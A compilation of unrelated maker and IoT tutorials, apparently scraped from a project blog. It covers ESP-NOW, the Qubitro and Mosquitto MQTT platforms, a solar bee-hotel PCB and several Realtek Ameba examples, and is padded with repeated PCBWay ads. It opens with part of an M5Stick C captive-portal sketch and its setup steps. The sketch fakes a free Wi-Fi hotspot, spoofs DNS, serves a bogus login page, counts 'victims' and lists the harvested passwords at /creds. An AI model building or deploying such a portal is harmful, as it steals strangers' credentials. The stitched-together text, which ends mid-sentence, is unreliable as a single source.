M5.Lcd.setRotation(3); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); bootTime = lastActivity = millis(); WiFi.mode(WIFI_AP); WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); WiFi.softAP(SSID_NAME); dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP) webServer.on("/post", []() { capcount=capcount+1; webServer.send(HTTP_CODE, "text/html", posted()); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 45); M5.Lcd.print("status: "); M5.Lcd.print("Victim In"); BLINK(); M5.Lcd.fillScreen(BLACK); }); webServer.on("/creds", []() { webServer.send(HTTP_CODE, "text/html", creds()); }); webServer.on("/clear", []() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity = millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin(); pinMode(BUILTIN_LED, OUTPUT); digitalWrite(BUILTIN_LED, HIGH); } void loop() { if ((millis() - lastTick) > TICK_TIMER) { lastTick = millis(); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); } dnsServer.processNextRequest(); webServer.handleClient(); } Deployment: Once the code is uploaded in the M5Stick C, it will show up the IP address and the victim count. then, look for the free Wi-Fi AP that we have created. Next, let's try to connect that. Once connected it will redirect you to the login page. Login page: Next, try to sign in with some credentials. 1 / 2 Here is the M5Stick C's response: If you want to see the captured passwords, open the same URL with /creds at the end. It will show all the captured passwords. If you want to clear the saved credentials, navigate to the same URL with /clear at the end. That's all, please use this only for educational purposes.

One of my teammates is working on an open Hardware Project that I thought to share. The product they’re developing is a bee hotel for native bees (not honeybees)! At the SF Climate hackathon, they integrated the Particle Argon onto a PCB with solar panels, MPPC, and a PWM PIR sensor for the bees. Here’s the link to the schematics, layout and 3D. I'll add a 3D screenshot at the bottom of the post. "A little bit of background, a native bee hotel houses sedentary bees which lay their eggs in tube structures, like hollow plant stems. We want to use PIR sensors along the tubes to get bee traffic data and build a country-wide bee traffic map. Solar Cells I’ve bumped into the IXYS KXOB25 series before and loved them for their reflowability. I wanted to connect them in parallel so the only constraint was that their output voltage is less than 5V, which is the maximum input voltage of the energy harvesting IC. Energy Harvesting I chose the LTC3105EDD 15 because I’ve seen it used to maximize solar cell power output in some nanosatellite projects I’ve browsed in the past. Although it doesn’t have an actual MPPT algorithm, it has a very attractive 250mV startup voltage which can potentially increase the times of day our device will provide power (dawn, dusk, cloud cover). All this needs real world testing which is coming next week. PIR Sensors These are paired infrared transmitters and receivers. As seen in the 3D view, we’re using 2 of them per bee tube to determine which direction the bees are going (in or out of the tube). Of course, this would need to be done in firmware. To save power (because these PIR diodes are super power hungry, we added a low side MOSFET that switches all three strings of PIR diodes (they are strung in series to get 1.1V drive from a 3.3V source). In theory, we can decrease the PWM duty cycle to as low as the PIR’s rise time and set the frequency to 1Hz which would save so much power. Future Steps Here are the unknowns that we’ll be researching. I already see some good answers in the forums, but please feel free to chime in! I’ve played with Edge Impulse in the past and we want to run a small tflite model on particle hardware that would determine what type of bee is in the hotel based on a short audio sample. We also want to send this data to a central server hosted by particle; in your experience how many weeks/months would it take to setup particle cloud to get up to 100 provisioned devices sending about 50 bytes of data to a central server? It would be awesome if we can get that done quickly."

ESP-NOW is a wireless communication protocol based on the data-link layer that enables the direct, quick, and low-power control of smart devices without the need for a router. Espressif defines it and can work with Wi-Fi and Bluetooth LE. ESP-NOW provides flexible and low-power data transmission to all interconnected devices. It can also be used as an independent protocol that helps with device provisioning, debugging, and firmware upgrades. ESP-NOW is a connectionless communication protocol developed by Espressif that features short packet transmission. This protocol enables multiple devices to talk to each other in an easy way. It is a fast communication protocol that can be used to exchange small messages (up to 250 bytes) between ESP32 or ESP8266 boards. ESP-NOW supports the following features: Encrypted and unencrypted unicast communication; Mixed encrypted and unencrypted peer devices; Up to 250-byte payload can be carried; Sending callback function that can be set to inform the application layer of transmission success or failure. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. How is it different from existing protocols? ESP-NOW is a wireless communication protocol that is different from Wi-Fi and Bluetooth in that it reduces the five layers of the OSI model to only one1. Additionally, ESP-NOW occupies fewer CPU and flash resources than traditional connection protocols while co-exists with Wi-Fi and Bluetooth LE. Bluetooth is used to connect short-range devices for sharing information, while Wi-Fi is used for providing high-speed internet access2. Wi-Fi provides high bandwidth because the speed of the internet is an important issue. Max Distance: The range of ESP-NOW is up to 480 meters when using the ESP-NOW protocol for bridging between multiple ESP32s1. The range can be further increased by enabling long-range ESP-NOW. When enabled, the PHY rate of ESP32 will be 512Kbps or 256Kbps. Maximum nodes: ESP-NOW supports various series of Espressif chips, providing a flexible data transmission that is suitable for connecting “one-to-many” and “many-to-many” devices. Applications: ESP-NOW is widely used in smart-home appliances, remote controlling, sensors, etc. In this tutorial, will see how to implement a basic ESP NOW communication between ESP32 Microcontrollers. Step: 1 ESPNOW communication works based on the MAC address of the nodes. So, we need to find the Mac address of our slave or receiver node. ]For that just upload the following sketch to the ESP32 board and look for the Mac address in the serial monitor. #include "WiFi.h" void setup(){ Serial.begin(115200); WiFi.mode(WIFI_MODE_STA); Serial.println(WiFi.macAddress()); } void loop(){ } Once you uploaded the code, press the EN button and wait for the serial monitor results. It will show you the Mac address. Note that. Step-2: Next, we need to prepare the transmitter, for that use this example sketch which can send multiple data types of data to the particular slave node. #include <esp_now.h> #include <WiFi.h> // REPLACE WITH YOUR RECEIVER MAC Address uint8_t broadcastAddress[] = {0x94, 0xB5, 0x55, 0x26, 0x27, 0x34}; // Must match the receiver structure typedef struct struct_message { char a[32]; int b; float c; bool d; } struct_message; // Create a struct_message called myData struct_message myData; esp_now_peer_info_t peerInfo; // callback when data is sent void OnDataSent(const uint8_t *mac_addr, esp_now_send_status_t status) { Serial.print("\r\nLast Packet Send Status:\t"); Serial.println(status == ESP_NOW_SEND_SUCCESS ? "Delivery Success" : "Delivery Fail"); } void setup() { // Init Serial Monitor Serial.begin(115200); // Set device as a Wi-Fi Station WiFi.mode(WIFI_STA); // Init ESP-NOW if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } // Once ESPNow is successfully Init, we will register for Send CB to // get the status of Trasnmitted packet esp_now_register_send_cb(OnDataSent); // Register peer memcpy(peerInfo.peer_addr, broadcastAddress, 6); peerInfo.channel = 0; peerInfo.encrypt = false; // Add peer if (esp_now_add_peer(&peerInfo) != ESP_OK){ Serial.println("Failed to add peer"); return; } } void loop() { // Set values to send strcpy(myData.a, "I'm alive"); myData.b = random(1,20); myData.c = 1.2; myData.d = false; // Send message via ESP-NOW esp_err_t result = esp_now_send(broadcastAddress, (uint8_t *) &myData, sizeof(myData)); if (result == ESP_OK) { Serial.println("Sent with success"); } else { Serial.println("Error sending the data"); } delay(2000); } Here are the serial monitor results, it show sent success but not delivered. Because we don't have the receiver. Let's try to implement the receiver. Step-3: Step-3:d example sketch which can receive the data from the master and it will print that into the serial monitor. #include <esp_now.h> #include <WiFi.h> // Structure example to receive data typedef struct struct_message { char a[32]; int b; float c; bool d; } struct_message; // Create a struct_message called myData struct_message myData; // callback function that will be executed when data is received void OnDataRecv(const uint8_t * mac, const uint8_t *incomingData, int len) { memcpy(&myData, incomingData, sizeof(myData)); Serial.print("Bytes received: "); Serial.println(len); Serial.print("Char: "); Serial.println(myData.a); Serial.print("Int: "); Serial.println(myData.b); Serial.print("Float: "); Serial.println(myData.c); Serial.print("Bool: "); Serial.println(myData.d); Serial.println(); } void setup() { // Initialize Serial Monitor Serial.begin(115200); // Set device as a Wi-Fi Station WiFi.mode(WIFI_STA); // Init ESP-NOW if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } // get recv packer info esp_now_register_recv_cb(OnDataRecv); } void loop() { } Serial monitor results. Wrap Up: We have seen how to implement the ESP NOW in ESP32 microcontroller, in upcoming tutorials will see how to transmit sensor data via ESPNOW.

What is Qubitro? Qubitro is an IoT (Internet of Things) platform that provides tools and services for connecting, managing, and analyzing IoT devices and data. It provides a cloud-based platform where users can securely connect their IoT devices and collect data from sensors and actuators. It supports a wide range of communication protocols and provides device management capabilities, monitoring device data, linking with third-party webhooks, and creating rules to trigger based on conditions, etc. All of it with a Great UI ❤ Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Getting Started To get started with Qubitro, we will first need to create an account. Go to the Qubitro website (https://www.qubitro.com/) and click on the "Sign Up" button. You will be prompted to enter Full Name, Email Address,Country, and password to create your account. Once, we have created the account, we can log in from https://portal.qubitro.com/login. However, we shall automatically be logged in to our account. Create a New Project Once you have logged in, you will be prompted to create a project. Enter a name for your project and mention a description for your project. Add Devices Next, you will need to add devices to your application. Go to the Project (if not already open), there we can see a button [+ New Source]. From this section, we will have 3 major sections - 1. Communication Protocol With a prompt to choose between LoRaWAN, MQTT, & Cellular. We can choose the protocol that best suits our use-case. I choose MQTT to get started with the platform basics. And since I shall be using Arduino IDE for programming the board, I went ahead with the MQTT Broker (Qubitro has its own broker - we shall see it in the upcoming section). In case you wish to know how the Toit platform works, you can check my Tutorial on Toit.io 2. Device Details I shall be using an ESP32 Dev Board, and therefore entered the details as per the image below - 3. Credentials In the next step, we receive credentials, to connect to the MQTT Broker. We can use this detail to connect to the broker as a client - to Publish or Subscribe. Now that we have the server, port, username and password we are all ready to send data to the Qubitro Cloud. Copy these details in a safe place (We can view them later in the device settings as well though) Hardware - From Device to Cloud Once you have configured your devices, you can start collecting data. Qubitro provides a range of tools for data collection and analysis, including real-time data visualization, data logging, and data filtering. We shall upload a code on ESP32 using Arduino IDE to send data to Qubitro - #include <WiFiClientSecure.h> #include <PubSubClient.h> #include <HTTPClient.h> #include <ArduinoJson.h> These are the necessary libraries for establishing an MQTT connection, handling HTTP requests, and working with JSON data. const char* ssid = "xxxxxxxxx"; const char* password = "xxxxxxxxx"; String topic = "xxxxx"; String mqtt_server = "broker.qubitro.com"; String mqttuser = "xxxxxxxxxxxxxxxxxxxxxx"; String mqttpass = "xxxxxxxxxxxxxxxxxxxxxx"; String clientId = "xxxxxxxxxxxxxxxxxxxxxx"; These variables store the Wi-Fi credentials (ssid and password), MQTT broker server address (mqtt_server), MQTT authentication credentials (mqttuser and mqttpass), MQTT client ID (clientId), and the MQTT topic (topic) to which the data will be published. WiFiClientSecure espClient; PubSubClient client(espClient); float humidity = 0; float temp = 0; Create an instance of WiFiClientSecure and PubSubClient classes to establish a secure connection with the MQTT broker. Also, initializing default value of temperature and humidity. #define MSG_BUFFER_SIZE (500) char msg[MSG_BUFFER_SIZE]; char output[MSG_BUFFER_SIZE]; Define the size of the message buffer for storing MQTT messages. void device_setup() { // ... Wi-Fi connection setup ... } This function sets up the Wi-Fi connection by connecting to the specified Wi-Fi network (ssid and password). void reconnect() { // ... MQTT reconnection logic ... } This function handles the reconnection to the MQTT broker in case of disconnection. void setup() { // ... Initialization code ... } The setup() function is the entry point of the code. It initializes the serial communication, sets up the device, establishes a connection with the MQTT broker, and prepares the secure connection using WiFiClientSecure and PubSubClient objects. void loop() { // ... Main code loop ... } The loop() function is the main execution loop of the code. It checks the MQTT connection, publishes the simulated temperature and humidity data to the MQTT topic, and then waits for a delay of 1 second before repeating the process. Inside the loop() function, you'll notice the following steps: if (!client.connected()) checks if the MQTT client is connected. If not, it calls the reconnect() function to establish the connection. client.loop() allows the MQTT client to maintain the connection and handle any incoming messages. The temp and humidity variables are randomly generated simulated values. A JSON document is created using the ArduinoJson library to store the temperature and humidity data. The JSON document is serialized into a string format using the serializeJson() function and stored in the output variable. The client.publish() function is used to publish the serialized JSON data to the specified MQTT topic. The serialized JSON data is printed to the serial monitor using Serial.println(). A delay of 1 second is added before repeating the loop. Full version of the code available in the Code Section. Now that we have written the code, upload it to the ESP32 board and wait for it to send data to cloud. To check data, go to Device Name that you created, and check for any incoming data in the table. (refresh the table in case data not retrieved) Create Dashboard Now that we were able to fetch for real-time data from the ESP32 board and view it on the table of Qubitro. Let us use the visualization feature to plot a graph of the data. Trust me, it takes seconds to setup the whole thing. Go to Dashboards, and create a New Dashboard. Give it a name. Once created, open it and go to Edit > Add Widget > Charts. Click on the new widget > three dots (settings) > Customization. Accordingly, select the data source, chart type and colour for data variables. Follow the below images for reference, and final Graph. Data source example above Data Point example above Finally, I received the above graph based on a 30-minute data logging. If we head back to the main dashboard page, we can have a proper view, and with a view configuration, receive live data in realtime on Qubitro. In the dashboard, click on the chart widget we created, click on edit and drag it to the middle. Stretch and play with the widget according to the need. Resizing it for proper viewing. Remember to save it. If you are facing trouble with viewing the data with 4 points in the graph period, you can change it in the View Mode's configuration of the graph widget. Now, using this we can view the data of our device based on our needs! Rules to Trigger and Integration Services Finally, Qubitro allows you to integrate with other services such as Twilio, Slack, MailGun, and SendGrid. We can also use the trigger for Webhooks (RAW HTTP request) triggering, You can do this by clicking on the "Rules" tab in the Device section and selecting the service you want to integrate with. Congratulations! You have now completed the Qubitro IoT Platform documentation tutorial. We hope that this tutorial has provided you with the information you need to get started with Qubitro and create your own IoT application. If you have any questions or need further assistance, please visit the Qubitro website or contact their support team. Hurray! 🎉 We have learned another IoT Platform - Qubitro Device Data Platform esp32_mqtt_qubitro.ino

What is MQTT? MQTT stands for Message-Queue-Telemetry-Transport, is a publish/subscribe protocol for machine-to-machine communication. This simple protocol, is easy to implement for any client. Termed as the Pub and Sub, both are used for same purpose but with different methods. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Getting Started Here, there are 2 sections - Publish and Subscribe. And then there is a middleman - Broker. Let us see in depth IoT Devices play the role to collect sensor data and send to the cloud (broker). While PC/Server/Mobile devices play the role to monitor and receive the sensor data to be viewed - Here, IoT Device is a Publisher, and PC Devices are Subscriber. According to the above analogy, the image that is published is the data, that was transferred from user1 to user2 📤. And that is the exact scenario in an MQTT Pub/Sub model. We have a more secure layer 🔒 to make sure the data is shared through a specific path, we call that 'topic', When user1 publishes data on topic, the subscriber automatically receives if already connected to the broker. Hence, the LOW latency. MQTT Broker Whenever there is a pub-sub model used as a message communication protocol, we require a broker that can transfer the information in the required device. This can be done by sending the message under correct topic. Let us understand this - A Broker is a runtime server (continuously running service), which can have 2 types of clients - Publisher (seller) & Subscriber (buyer) For instance, when a seller sells a product through a broker to a buyer, then it is using the Broker's service to reach & find a secured buyer. Similarly, when publisher publishes a piece of information, the data reaches to the subscriber through the Broker. The broker is responsible for having specific storage space where it can expect data from the publisher to store temporarily and then send to the subscriber. In the pub-sub MQTT, clients talk to each other through an MQTT broker. There are many MQTT Brokers in the market. It is even possible to create our own broker, or use an open-source broker 'paho'. For the current project, we shall first understand the mechanism and then watch a trial movement of data on Mosquitto MQTT Broker. Mosquitto Platform Now that we understand how MQTT works, let us use a cloud MQTT service and send data across the internet. In this article, we'll be using Mosquitto MQTT - test.mosquitto.org Under the Server section, we can see different ports provide feature-separated servers. These servers act like channels for sharing data over the cloud. Let us understand it first - MQTT Broker Port (default: 1883): This is the standard port used for MQTT communication. MQTT clients use I to connect to the Mosquitto broker and publish/subscribe to topics. It operates over TCP. MQTT Broker SSL/TLS Port (default: 8883): This is the secure version of the MQTT broker port. It uses SSL/TLS encryption to provide secure communication between MQTT clients and the Mosquitto broker. Clients connect to this port to establish a secure connection. WebSocket Port (default: 9001): Mosquitto also supports MQTT over WebSockets, allowing MQTT clients to connect to the broker using the WebSocket protocol. The WebSocket port is used for WebSocket-based MQTT communication. WebSocket SSL/TLS Port (default: 9443): This is the secure WebSocket port used for encrypted WebSocket-based MQTT communication. It provides a secure connection using SSL/TLS encryption. We shall be using 1883 port to send data and monitor. As we know, MQTT has 3 services - Publisher, Broker, and Subscriber. In this case, mosquito MQTT Cloud is already playing the role of a broker. Now, we'd be using ESP32 Dev Board, which has a wifi chip and is able to connect to the Internet, playing the role of a Publisher for sharing its temperature and humidity data from the sensor. On the other hand, we shall use the PC to view this data as a Subscriber. This will enable us to fully understand the working principle of the MQTT protocol used in IoT Communication between devices. Publisher (ESP32) To set up the ESP32 for MQTT, we need to install a library - PubSubClient. This library has functions that use variables as mentioned below to send data to the broker. mqtt_server: This variable represents the address or IP of the MQTT broker. We shall be using "test.mosquitto.org" mqtt_port: This variable represents the port number of the MQTT broker. In our case 1883. mqtt_topic: This variable represents the topic to which the publisher will send messages. For Example "schoolofiot/device1". Where 'schoolofiot' is the general-most topic level. And 'device1' is a sub-level. The provided code is an Arduino sketch that uses the ESP32 WiFi module and the PubSubClient library to connect to an MQTT broker and publish temperature and humidity data. Let's break down the code step by step: 1. Include necessary libraries: #include <WiFi.h> #include <PubSubClient.h> This code includes the required libraries for the ESP32 WiFi module and the MQTT client functionality. 2. Define WiFi & MQTT Server variables: const char* ssid = "XXXXXXXXXX"; const char* password = "XXXXXXXXXX"; const char* mqtt_server = "test.mosquitto.org"; These variables store the SSID (network name) and password for the WiFi network you want to connect to. The mqtt_server variable holds the IP address or hostname of the MQTT broker. 3. Declare global variables and objects: WiFiClient espClient; PubSubClient client(espClient); long lastMsg = 0; char msg[50]; int value = 0; float temperature = 0; float humidity = 0; Here, a WiFi client object (espClient) and an MQTT client object (client) are declared. The lastMsg variable stores the timestamp of the last message, and the msg is a character array for message storage. The value, temperature, and humidity variables are used to hold the respective sensor values. 4. Setup function: void setup() { Serial.begin(115200); setup_wifi(); client.setServer(mqtt_server, 1883); client.setCallback(callback); } The setup() function is called once at the start of the program. It initializes the serial communication, sets up the WiFi connection, configures the MQTT server and port, and sets the callback function to handle incoming messages. 5. WiFi setup function: void setup_wifi() { //... } The setup_wifi() function handles the connection to the WiFi network using the provided SSID and password. It waits until the connection is established and prints the local IP address to the serial monitor. 6. MQTT callback function: void callback(char* topic, byte* message, unsigned int length) { //... } This function is called when a message is received from the MQTT broker. It prints the received message along with the corresponding topic. 7. MQTT reconnection function: void reconnect() { //... } The reconnect() function is responsible for reconnecting to the MQTT broker if the connection is lost. It attempts to connect to the broker using a randomly generated client ID. If the connection is successful, it prints a success message. Otherwise, it waits for 5 seconds before retrying. 8. Main loop: void loop() { if (!client.connected()) { reconnect(); } client.loop(); long now = millis(); if (now - lastMsg > 2000) { lastMsg = now; sendData(); } } The loop() function is the main program loop that runs continuously after the setup() function. It checks if the MQTT client is connected and, if not, attempts to reconnect. It also calls the client.loop() function to maintain the MQTT client's internal state. Every 2 seconds, it calls the sendData() function to publish temperature and humidity data. 9. Publish sensor data function: void sendData() { //... } The sendData() function is responsible for publishing temperature and humidity data to specific MQTT topics. It generates random values for temperature and humidity, converts them to strings, and publishes them along with the corresponding topic. - Publish a gap message: client.publish("schoolofiot/gap", "--------------"); This line publishes a message consisting of a series of dashes (--------------) to the MQTT topic "schoolofiot/gap". It is used to indicate a separation or gap between different sets of data. - Read and publish temperature data: temperature = random(30, 40); char tempString[8]; dtostrf(temperature, 1, 2, tempString); Serial.print("Temperature: "); Serial.println(tempString); String tempdata = "Temperature: " + String(tempString); client.publish("schoolofiot/temperature", tempdata.c_str()); These lines generate a random temperature value between 30 and 40 degrees, store it in the temperature variable, and usedtostrf() function to convert decimal point data to String. The temperature value is then printed to the serial monitor and concatenated with the string "Temperature: ". The resulting string is stored in the tempdata variable. Finally, the tempdata string is published to the MQTT topic schoolofiot/temperature using the client.publish() function. - Read and publish humidity data: humidity = random(60, 70); char humString[8]; dtostrf(humidity, 1, 2, humString); Serial.print("Humidity: "); Serial.println(humString); String humdata = "Humidity: " + String(humString); client.publish("schoolofiot/humidity", humdata.c_str()); These lines generate a random humidity value between 60 and 70 percent, store it in the humidity variable. Overall, the sendData() function generates random temperature and humidity values, converts them to strings, and publishes them to specific MQTT topics for further processing or monitoring. Final Code can be found in the Code section But to confirm this, we also need to read the data from other the side - Subscriber. Subscriber (Windows PC) To set up the Subscriber on PC, we need to install Mosquitto MQTT Applcation. This application can create a broker, publisher & subscriber - all sections To install Mosquitto MQTT on your PC from the official website and make changes to the configuration file for listener 1883 and allow anonymous connections, you can follow these steps: 1. Download andInstall Mosquitto: Go to the official Mosquitto website (https://mosquitto.org/). Navigate to the "Downloads" section. Choose the appropriate installer for your operating system (Windows x64 in this case) and download it Install the application in desired location. 2. Edit Configuration File: Open the installation directory where Mosquitto is installed. Locate the mosquitto.conf file (usually found in the main directory). Open mosquitto.conf in a text editor of your choice.Add the below 2 lines - listener 1883 allow_anonymous true It should look somewhat like this - We can uncomment ad make changes in the file as well, but adding only 2 lines on the top is more simple and noticeable. 3. Run Mosquitto Subscriber We can run the Mosquitto broker and then subscribe to the topic we desire. But running directly the subscriber is best in our case. Open the folder/directory where the mosquitto.exe along with mosquitto_sub.exe is present. Run the PowerShell/CMD terminal from within the directory. For windows, open the directory > Press shift + right-mouse-button(right-click), and we'd see options for running a terminal like powershell. On the terminal, enter below command - > .\mosquitto_sub -h test.mosquitto.org -t "schoolofiot/#" In the above command, if you noticed, I did not subscribe to a specific topic. As per the topics we published (from ESP32), like "schoolofiot/gap", "schoolofiot/temperature" or "schoolofiot/humidity". The reason is, gap, temperature & humidity comes under the general topic of schoolofiot level. So, to access/view any data published as a sub-level of schoolofiot, we can use '#'. Apart from this, in case we need to subscribe to a specific topic (like temperature), we can use command like this - > .\mosquitto_sub -h test.mosquitto.org -t "schoolofiot/temperature" Therefore, no matter what name is put under the general topic, we can subscribe to it and view all of them together. Hurray! 🎉 We have learned another IoT Platform - Mosquitto MQTT (By Eclipse) Code #include <WiFi.h> #include <PubSubClient.h> // Replace the next variables with your SSID/Password combination const char* ssid = "XXXXXXXXXX"; const char* password = "XXXXXXXXXX"; // Add your MQTT Broker IP address, example: const char* mqtt_server = "test.mosquitto.org"; WiFiClient espClient; PubSubClient client(espClient); long lastMsg = 0; char msg[50]; int value = 0; float temperature = 0; float humidity = 0; void setup() { Serial.begin(115200); // default settings setup_wifi(); client.setServer(mqtt_server, 1883); client.setCallback(callback); } void setup_wifi() { delay(10); // We start by connecting to a WiFi network Serial.println(); Serial.print("Connecting to "); Serial.println(ssid); WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } Serial.println(""); Serial.println("WiFi connected"); Serial.println("IP address: "); Serial.println(WiFi.localIP()); } void callback(char* topic, byte* message, unsigned int length) { Serial.print("Message arrived on topic: "); Serial.print(topic); Serial.print(". Message: "); String messageTemp; for (int i = 0; i < length; i++) { Serial.print((char)message[i]); messageTemp += (char)message[i]; } Serial.println(); } void reconnect() { // Loop until we're reconnected while (!client.connected()) { Serial.print("Attempting MQTT connection..."); // Attempt to connect String clientId = "client-" + random(100, 999); if (client.connect(clientId.c_str())) { Serial.println("connected"); } else { Serial.print("failed, rc="); Serial.print(client.state()); Serial.println(" try again in 5 seconds"); // Wait 5 seconds before retrying delay(5000); } } } void loop() { if (!client.connected()) { reconnect(); } client.loop(); long now = millis(); if (now - lastMsg > 2000) { lastMsg = now; Serial.println(client.connected()); sendData(); } } void sendData(){ Serial.println(); client.publish("schoolofiot/gap", "--------------"); //Read Temperature temperature = random(30,40); char tempString[8]; dtostrf(temperature, 1, 2, tempString); Serial.print("Temperature: "); Serial.println(tempString); String tempdata = "Temperature: " + String(tempString); client.publish("schoolofiot/temperature", tempdata.c_str()); //Read Humidity humidity = random(60,70); char humString[8]; dtostrf(humidity, 1, 2, humString); Serial.print("Humidity: "); Serial.println(humString); String humdata = "Humidity: " + String(humString); client.publish("schoolofiot/humidity", humdata.c_str()); }

Do you want to always keep track with the time of place of your interest without having to google it? Then this project is what you are looking for! This LCD Real-Time Network Clock make use of Network Time Protocol (NTP) together with a WiFi-enabled IOT microcontroller--Realtek Ameba 1 (RTL8195AM/ RTL8710AF) to create the product that you need. All you need to do is to let the microcontroller know which area's time that you would like to see and key in your WiFi SSID and password and that's it ! No matter how many time the power is off, or you have moved, as soon as it's powered back on and connected to the network, it will tell you the rigth time instantaneously! And of course, if you are arduino-savvy, you can program this product to read out the time or even control the lightings in your room accroding to the time bocause the soc used in the microcontroller is so powerful that it's able to connect more than dozens of devices and run multiple tasks simultaneously. For DIY upgrading this project, you may refer to www.amebaiot.com for more information.

One of the most useful IoT applications is home security. Imagine a thief cutting your security camera wire while trying to break into your house. This won’t happen if your security system goes wireless and smart. This project demonstrates the capability of Realtek Ameba dev. board to conduct board-to-board communication via MQTT (FREE MQTT broker hosted at cloud.amebaiot.com). With this home security system, you will definitely be alarmed when your window/door is opened by the self-invited as the buzzer will make loud irritating noise while red LED flashes continuously. Of course, this project has left rooms to add your own logic to it. For example, sending MQTT messages to your phone to alert you, or to an IP camera to capture the image of the thief. Hardware Preparation - Ameba1 RTL8195AM x2 - Buzzer x1 - LED (red) x1 - Reed switch x1 - Magnet x1 - Jumpers x6 As 2 boards are needed to implement this project, there are 2 connection illustration as follows, https://github.com/Realtek-AmebaApp/Ameba_Examples/blob/master/RTL8195AM/006_HOME_SECURITY/WindowSecuritySystem_Switch_bb.png https://github.com/Realtek-AmebaApp/Ameba_Examples/blob/master/RTL8195AM/006_HOME_SECURITY/WindowSecuritySystem_Buzzer_bb.png Software Preparation 1. Check and make sure you have installed the ameba 1 board to Arduino IDE via adding this link into “additional boards manager URLs” under “Preference”, and install it in “board manager” under “Tools”, https://github.com/ambiot/amb1_arduino/raw/master/Arduino_package/package_realtek.com_ameba1_index.json 2. Copy the [buzzer source code](https://github.com/Realtek-AmebaApp/Ameba_Examples/blob/master/RTL8195AM/006_HOME_SECURITY/windowSecuritySystem_buzzer_Github.ino) and [switch source code](https://github.com/Realtek-AmebaApp/Ameba_Examples/blob/master/RTL8195AM/006_HOME_SECURITY/windowSecuritySystem_switch_Github.ino) you find in this repository to your Ameba1 RTL8195 boards respectively using arduino IDE 3. In order to connect to WiFi and MQTT server, you need to key in your WiFi SSID, WiFi passowrd, MQTT username and MQTT password, - username: same as your amebaiot.com username - password: same as your amebaiot.com password Done that's it! You have created a simple yet powerful home security system! To watch how how it is done, click link below,

One of the challenges of using IoT enabled MCU is the power consumption. However, on Ameba, you can keep the WiFi on while in sleep mode thus enabling power saving and connectivity. Here is a demo of how to achieve WiFi in sleep mode. Preparation Ameba x 1 DHT11/DHT22/DHT21 x 1 Example In deepsleep mode, the WiFi feature of Ameba is disabled. If you want to save power and keep the WiFi connection at the same time, please use the sleep API. Open "File" -> "Examples" -> "AmebaPowerSave" -> "SleepWithDHTUdpServ" Remember to set the ssid & password in the sample code. In this example, Ameba act as an UDP server, it establishes a wifi connection then enter sleep mode. When Ameba receives UDP packets with content "H", it replies the humidity value, and when it receives UDP packets with content "T", it replies the temperature value. When the sleep mode is enabled, Ameba goes to sleep or wakes up automatically. We use the "Sokit" tool to set the IP & port of Ameba, and request for temperature and humidity values in turn. Note that Ameba would check the status of pin D18, if it is connected to the GND, Ameba would not enter sleep mode. We compare the example with/without power-saving: (We use the Keysight 34465A multimeter in the experiment) NOTE: In reality, due to the energy loss in the voltage conversion and operation, the actual usage time may be different.

Materials AmebaD [RTL8722 CSM/DM] x 2 Example Introduction BLE connections use a server client model. The server contains the data of interest, while the client connects to the server to read the data. Commonly, a Bluetooth peripheral device acts as a server, while a Bluetooth central device acts as a client. Servers can contain many services, with each service containing a some set of data. Clients can send requests to read or write some data and can also subscribe to notifications so that the server can send data updates to a client. In this example, a basic battery client is set up on the Ameba Bluetooth stack. The client connects to another Ameba board running the corresponding BLE battery service to read the battery level data. Procedure On the first Ameba board, upload the BLEBatteryService example code and let it run. For the second Ameba board, open the example “Files” -> “Examples” -> “AmebaBLE” -> “BLEBatteryClient”. Upload the code and press the reset button on Ameba once the upload is finished. Open the serial monitor and observe the log messages as the Ameba board with the battery client scans, connects, and reads data from the Ameba board with the battery service. Highlighted in yellow, the Ameba board with the battery client first scans for advertising BLE devices with the advertised device name “AMEBA_BLE_DEV” and the advertised service UUID of 0x180F representing the battery service. After finding the target device, the Ameba board with the battery client forms a BLE connection and searches for a battery service on the 